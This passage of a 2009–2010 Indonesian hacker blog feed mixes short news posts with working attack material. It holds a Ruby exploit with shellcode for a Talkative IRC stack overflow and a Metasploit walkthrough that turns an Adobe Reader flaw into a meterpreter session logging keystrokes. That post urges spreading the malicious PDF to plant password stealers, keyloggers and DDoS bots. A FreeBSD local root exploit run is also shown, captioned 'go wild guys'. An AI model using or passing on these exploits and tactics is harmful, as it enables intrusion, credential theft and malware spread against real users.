msfbase = '/Applications/Metasploit/lib'
$:.unshift(msfbase)

require 'rex'

# define server parameter
server_param = { 'LocalPort' =&gt; '6667' }
# create the server
sock = Rex::Socket::TcpServer.create(server_param)
chld = sock.accept

chld.write(":irc_server.stuff 001 jox :Welcome to the Internet Relay Network jox\r\n")
chld.get_once

# exec= calc.exe
shellcode =
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"+
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"+
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"+
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"+
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"+
"\x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37"+
"\x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48"+
"\x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48"+
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c"+
"\x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e"+
"\x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48"+
"\x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54"+
"\x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48"+
"\x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43"+
"\x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57"+
"\x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a"+
"\x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b"+
"\x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53"+
"\x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37"+
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49"+
"\x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46"+
"\x4e\x36\x43\x46\x42\x50\x5a"

# SEH Based Exploit
spl0it = ":" + Rex::Text.pattern_create(272) + Rex::Arch::X86.jmp_short(6) + "\x90\x90" + [0x72d1146b].pack('V') + "\x90" * 20 + shellcode + "\x90" * 10 + " PRIVMSG " + "A" * 4 + " : /FINGER " + "B" * 8 + ".\r\n"
chld.put(spl0it)
sock.close</pre>
<p>Dan inilah hasilnya,</p>
<p><a title="ImageShack - Image And Video Hosting" href="http://img340.imageshack.us/img340/9105/screenshot20100121at115.png" target="_blank"><img src="http://img340.imageshack.us/img340/9105/screenshot20100121at115.png" border="0" alt="" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2010/01/21/talkative-irc-0-4-4-16-remote-stack-overflow-old-bug/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>.upcoming 26c3.</title>
		<link>http://www.kecoak-elektronik.net/log/2009/12/17/upcoming-26c3/</link>
		<comments>http://www.kecoak-elektronik.net/log/2009/12/17/upcoming-26c3/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 11:55:05 +0000</pubDate>
		<dc:creator>Neo Kecoak Elektronik</dc:creator>
				<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=703</guid>
		<description><![CDATA[.here be dragons, conference unique yang memiliki fans fanatik ini, banyak menarik perhatian bagi security enthusiasts baik materi yang jarang di temukan dalam conference security lainnya atau pengemasan events yang berbeda salah satunya ini bahkan xorl membuatkan simple shell script utk memantau perubahan schedule 26c3.
.bagi yang sulit menerjemahkan German language, post di googlesystem bisa di [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify">.here be dragons, conference unique yang memiliki fans <a href="http://bit.ly/6hRCfb">fanatik</a> ini, banyak menarik perhatian bagi security enthusiasts baik materi yang jarang di temukan dalam conference security lainnya atau pengemasan events yang berbeda salah satunya <a href="http://bit.ly/4gsyhH">ini</a> bahkan <a href="http://bit.ly/77tUev">xorl</a> membuatkan simple shell script utk memantau perubahan schedule 26c3.</p>
<p>.bagi yang sulit menerjemahkan German language, post di googlesystem bisa di jadikan <a href="http://bit.ly/53LPrG">acuan</a>.</p>
<p>.and u know the reason why english language is important-</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2009/12/17/upcoming-26c3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Twitter and Adobe 0.9-day spl0it</title>
		<link>http://www.kecoak-elektronik.net/log/2009/12/16/twitter-and-adobe-0-9-day-spl0it/</link>
		<comments>http://www.kecoak-elektronik.net/log/2009/12/16/twitter-and-adobe-0-9-day-spl0it/#comments</comments>
		<pubDate>Wed, 16 Dec 2009 16:53:09 +0000</pubDate>
		<dc:creator>byteskrew</dc:creator>
				<category><![CDATA[0day]]></category>
		<category><![CDATA[Bug & Exploit]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=696</guid>
		<description><![CDATA[Salah satu artis yang terkenal dengan istilah &#8216;bechek&#8217;-nya pernah bilang dalam salah satu sesi wawancara untuk &#8220;acara televisi full of non-sense but terribly popular&#8221; (attention: something called infoblabla) bahwa twitter, facebook, friendster itu gak ada gunanya. Do&#8217;i gak mungkin ikutan begituan karena terlalu sibuk dengan skull, corse, blablabla. Dan yang ikutan begituan (attention: geek said, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">Salah satu artis yang terkenal dengan istilah &#8216;bechek&#8217;-nya pernah bilang dalam salah satu sesi wawancara untuk &#8220;<em>acara televisi full of non-sense but terribly popular</em>&#8221; (attention: something called infoblabla) bahwa twitter, facebook, friendster itu gak ada gunanya. Do&#8217;i gak mungkin ikutan begituan karena terlalu sibuk dengan skull, corse, blablabla. Dan yang ikutan <em>begituan</em> (attention: geek said, social networking) hanya orang-orang yang gak punya kerjaan.</p>
<p style="text-align: justify;">Well, somehow, this cute little girl *heh??* probably right.</p>
<p style="text-align: justify;">Unfortunately, gak semua orang update status untuk hal-hal yang tidak perlu. Komunitas security umumnya seringkali memposting hal-hal yang bermanfaat, dan lebih cepat mendapatkan informasi tersebut dibandingkan menunggu muncul di blog, news, forum, dll. Beberapa hal menarik diantaranya diskusi kecil-kecilan mengenai bug dan expl0it.</p>
<p style="text-align: justify;">Baru-baru ini merebak mengenai adobe acrobat reader 0day, salah satu yang membahas bisa lihat di <a href="http://bit.ly/7UjG26">http://bit.ly/7UjG26</a>. HDM dalam twitter nya pernah meminta contoh exploit tersebut bagi siapa saja yang memilikinya, dan dalam waktu singkat contoh 0day sploit tersebut didapatkan, copy nya bisa di download dari <a href="http://bit.ly/5VqgVv">http://bit.ly/5VqgVv</a>. Dan tentu saja dalam beberapa jam exploit tersebut muncul dalam repo metasploit, let&#8217;s give it a try:</p>
<pre class="brush: plain; gutter: false">Snow $ sudo ./msfconsole
Password:

                     888                           888        d8b888
                     888                           888        Y8P888
                     888                           888           888
88888b.d88b.  .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888
888 "888 "88bd8P  Y8b888       "88b88K     888 "88b888d88""88b888888
888  888  88888888888888   .d888888"Y8888b.888  888888888  888888888
888  888  888Y8b.    Y88b. 888  888     X88888 d88P888Y88..88P888Y88b.
888  888  888 "Y8888  "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888
                                           888
                                           888
                                           888

       =[ metasploit v3.3.3-dev [core:3.3 api:1.0]
+ -- --=[ 476 exploits - 220 auxiliary
+ -- --=[ 192 payloads - 22 encoders - 8 nops
       =[ svn r7893 updated today (2009.12.16)

msf  &gt; version
Framework: 3.3.3-dev.7817
Console  : 3.3.3-dev.7855
msf &gt; use windows/fileformat/adobe_media_newplayer
msf exploit(adobe_media_newplayer) &gt; set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD =&gt; windows/meterpreter/bind_tcp
msf exploit(adobe_media_newplayer) &gt; set RHOST 172.16.30.129
RHOST =&gt; 172.16.30.129
msf exploit(adobe_media_newplayer) &gt; exploit

[*] Started bind handler
[*] Creating 'msf.pdf' file...
[*] Generated output file /Applications/Metasploit/data/exploits/msf.pdf
[*] Exploit completed, but no session was created.</pre>
<p>Dear newbie, silahkan copy file msf.pdf ke komputer target untuk dibuka menggunakan adobe acrobat reader. Dalam eksperimen ini saya menggunakan adobe acrobat reader versi 9.1.0 di windows XP SP3 (non DEP).</p>
<pre class="brush: plain; gutter: false">msf exploit(adobe_media_newplayer) &gt; exploit

[*] Started bind handler
[*] Creating 'msf.pdf' file...
[*] Generated output file /Applications/Metasploit/data/exploits/msf.pdf
[*] Sending stage (723456 bytes)
[*] Meterpreter session 1 opened (172.16.30.1:57665 -&gt; 172.16.30.129:4444)

meterpreter &gt; idletime
User has been idle for: 2 mins 25 secs
meterpreter &gt; keyscan_start
Starting the keystroke sniffer...
meterpreter &gt; keyscan_dump
Dumping captured keystrokes...
www.google.com
meterpreter &gt; ctrl-z
Background session 1? [y/N]
</pre>
<p style="text-align: justify;">Well, tentu saja dry joke (talking &#8217;bout artist di blog kecoak???) di malam hari menjelang tidur ini bukan untuk high skilled exploiter. Hanya menunjukan sedikit mainan dari exploit terbaru Adobe acrobat reader menggunakan metasploit framework. Dalam contoh diatas tentu saja tidak selalu harus untuk kepentingan RCE (Remote Command Execution), bisa di-imajinasikan jika payload yang digunakan adalah &#8220;windows/download_exec&#8221; dari url tertentu dimana pada url tersebut telah tersimpan worm, program kecil pencuri password (paypal, email, facebook, banking), program kecil pencuri keystroke di windows, program kecil yang dapat men-scan document untuk mencari data tertentu (misal: doc pemerintahan, bisnis), ataupun sekedar bot untuk menjadi slave serangan ddos.</p>
<p style="text-align: justify;">Cukup sebar file .pdf tersebut melalui email, irc, milist, forum, facebook, dll. Dan dalam sekejap, banyak hal yang kita inginkan bisa didapatkan. Itu sebabnya vuln dari software seperti adobe acrobat reader yang notabene pasti ada di setiap komputer windows sangat berbahaya, berbagai level dan kalangan menggunakan aplikasi tersebut, sehinggal 0day nya akan berakibat fatal.</p>
<p style="text-align: justify;">So, take care, fellas!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2009/12/16/twitter-and-adobe-0-9-day-spl0it/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Hello !</title>
		<link>http://www.kecoak-elektronik.net/log/2009/12/15/hello/</link>
		<comments>http://www.kecoak-elektronik.net/log/2009/12/15/hello/#comments</comments>
		<pubDate>Tue, 15 Dec 2009 12:16:40 +0000</pubDate>
		<dc:creator>Sp1d3r-73</dc:creator>
				<category><![CDATA[K-Elektronik]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/2009/12/15/hello/</guid>
		<description><![CDATA[I just want to say hello to everyone ! long time no see, I have been busy with exams, school, and university applications. I promise I will be back soon !   &#8211; Sp1d3r-73
]]></description>
			<content:encoded><![CDATA[<p>I just want to say hello to everyone ! long time no see, I have been busy with exams, school, and university applications. I promise I will be back soon ! <img src='http://www.kecoak-elektronik.net/log/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  &#8211; Sp1d3r-73</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2009/12/15/hello/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>FYI from scut</title>
		<link>http://www.kecoak-elektronik.net/log/2009/12/10/fyi-from-scut/</link>
		<comments>http://www.kecoak-elektronik.net/log/2009/12/10/fyi-from-scut/#comments</comments>
		<pubDate>Thu, 10 Dec 2009 11:42:18 +0000</pubDate>
		<dc:creator>byteskrew</dc:creator>
				<category><![CDATA[K-Elektronik]]></category>
		<category><![CDATA[News]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=688</guid>
		<description><![CDATA[
scut: kalau ada seseorang yang mengaku sebagai scut dan meminta uang atau pinjam uang dengan modus saya kecelakaan atau sakit, ignore saja dan laporkan nomer telponnya ke polisi. scut gak mungkin minta duit
scut: tadi barusan dapat berita dari jogja
scut: kalau ada orang mengaku sebagai saya dan meminta uang, dan pas gak di kasih, temenku yang [...]]]></description>
			<content:encoded><![CDATA[<pre class="brush:plain; gutter:false">
scut: kalau ada seseorang yang mengaku sebagai scut dan meminta uang atau pinjam uang dengan modus saya kecelakaan atau sakit, ignore saja dan laporkan nomer telponnya ke polisi. scut gak mungkin minta duit
scut: tadi barusan dapat berita dari jogja
scut: kalau ada orang mengaku sebagai saya dan meminta uang, dan pas gak di kasih, temenku yang dimintain duit malah di maki2
scut: no nya 081396532323
scut: thx
</pre>
<p>This is from our old pals, scut of kecoak elektronik. He&#8217;s fine currently, so&#8230;it&#8217;s a scam.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2009/12/10/fyi-from-scut/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ToKet Vol 6 CFP!</title>
		<link>http://www.kecoak-elektronik.net/log/2009/12/05/toket-vol-6-cfp/</link>
		<comments>http://www.kecoak-elektronik.net/log/2009/12/05/toket-vol-6-cfp/#comments</comments>
		<pubDate>Sat, 05 Dec 2009 14:58:24 +0000</pubDate>
		<dc:creator>Neo Kecoak Elektronik</dc:creator>
				<category><![CDATA[K-Elektronik]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=661</guid>
		<description><![CDATA[Hello Hackerz, Demi mempertahankan budaya berbagi dan bentuk dedikasi kami terhadap dunia IT Indonesia, khususnya di bidang security, dengan ini kami me-relese CFP (Call For Paper) untuk eZinE ToKet (Terbitan Online Kecoak Elektronik) Volume 6.
kecoak@yourserver~&#62; head -5 cfp.sh
#
# !/bin/sh
# CALL FOR PAPER - CALL FOR PAPER - CALL FOR PAPER
# Terbitan Online Kecoak Elektronik (TOKET) [...]]]></description>
			<content:encoded><![CDATA[<p>Hello Hackerz, Demi mempertahankan budaya berbagi dan bentuk dedikasi kami terhadap dunia IT Indonesia, khususnya di bidang security, dengan ini kami me-relese CFP (Call For Paper) untuk eZinE ToKet (Terbitan Online Kecoak Elektronik) Volume 6.</p>
<pre><code>kecoak@yourserver~&gt; head -5 cfp.sh
#
# !/bin/sh
# CALL FOR PAPER - CALL FOR PAPER - CALL FOR PAPER
# Terbitan Online Kecoak Elektronik (TOKET) volume 6
#
kecoak@yourserver~&gt; sh cfp.sh

Dear all,
Kecoak elektronik sedang menyiapkan terbitnya TOKET volume 6 meng
harapkan partisipasi semua dalam menulis artikel.

Kirimkan artikel anda dengan tema seperti di bawah ini :

1. Sistem Operasi (Windows, UNIX, *NIX)
2. Penyandian (Cryptography)
3. Hacking
4. Phreaking
5. Cracking (Cracking the Operating System)
6. Pemrograman
7. Networking
8. Human Computer Interaction (Interaksi Manusia Komputer)
9. Teknologi Informasi dan Sistem Informasi

TOKET juga menerima artikel berupa underground &amp; hacktivism news,
spirit of hacking, dan government spying. Segera kirimkan artikel
anda ke :

staff@kecoak-elektronik.net

Deadline pengiriman - 31/01/2010
Rilis TOKET Vol 06  - 15/02/2010

kami tunggu artikel dari anda !!!

Salam hangat dari sarang kecoak.

~eL Byteskrew

kecoak@yourserver~&gt; date
Sat Dec  5 05:01:27 WIT 2009
kecoak@yourserver~&gt; tail -5 cfp.sh

# CALL FOR PAPER - CALL FOR PAPER - CALL FOR PAPER
# Terbitan Online Kecoak Elektronik (TOKET) volume 6
# http://kecoak-elektronik.net
# EOF
</code></pre>
<p></br></p>
<p>I bet this volume will be different if you guys make some contribution, even you explain the old technique or modification old stuff, just submit it.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2009/12/05/toket-vol-6-cfp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>FreeBSD rtld 0day exploit</title>
		<link>http://www.kecoak-elektronik.net/log/2009/12/01/freebsd-rtld-0day-exploit/</link>
		<comments>http://www.kecoak-elektronik.net/log/2009/12/01/freebsd-rtld-0day-exploit/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 04:52:06 +0000</pubDate>
		<dc:creator>byteskrew</dc:creator>
				<category><![CDATA[0day]]></category>
		<category><![CDATA[Bug & Exploit]]></category>
		<category><![CDATA[Underground]]></category>
		<category><![CDATA[FreeBSD]]></category>

		<guid isPermaLink="false">http://www.kecoak-elektronik.net/log/?p=648</guid>
		<description><![CDATA[King Cope publish local exploit ini ke FD-Lists.
[bofh@begok ~/hack]$ uname -a
FreeBSD begok.xxxx.de 7.0-STABLE FreeBSD 7.0-STABLE #1: Fri Mar 27 11:24:51 WIT 2009     root@begok.xxxxx.de:/usr/obj/usr/src/sys/BEGOK  i386
[bofh@begok ~/hack]$ ./fbsd-local-2009.sh
fbsd-local-2009.sh FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function [...]]]></description>
			<content:encoded><![CDATA[<p>King Cope publish local exploit ini ke <a href="http://bit.ly/5rG602">FD-Lists</a>.</p>
<pre class="brush: plain; gutter: false">[bofh@begok ~/hack]$ uname -a
FreeBSD begok.xxxx.de 7.0-STABLE FreeBSD 7.0-STABLE #1: Fri Mar 27 11:24:51 WIT 2009     root@begok.xxxxx.de:/usr/obj/usr/src/sys/BEGOK  i386
[bofh@begok ~/hack]$ ./fbsd-local-2009.sh
fbsd-local-2009.sh FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
8:35
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
/libexec/ld-elf.so.1: environment corrupt; missing value for
ALEX-ALEX
# id
uid=1007(bofh) gid=1007(bofh) euid=0(root) groups=1007(bofh)</pre>
<p style="text-align: justify;">Publikasi ini jelas akan langsung dimanfaatkan dengan cepat oleh para hacker/cracker yang bisa mendapatkan akses local ke mesin-mesin FreeBSD. Rasanya belum ada patch untuk saat ini. So, go wild guys? :p.</p>
<p style="text-align: justify;">** Thanks buat temon untuk testing exploitnya, as currently I don&#8217;t have FBSD to test. *sigh*.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kecoak-elektronik.net/log/2009/12/01/freebsd-rtld-0day-exploit/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
	</channel>
</rss>

<!-- Dynamic Page Served (once) in 6.884 seconds -->
<!-- Cached page served by WP-Cache -->
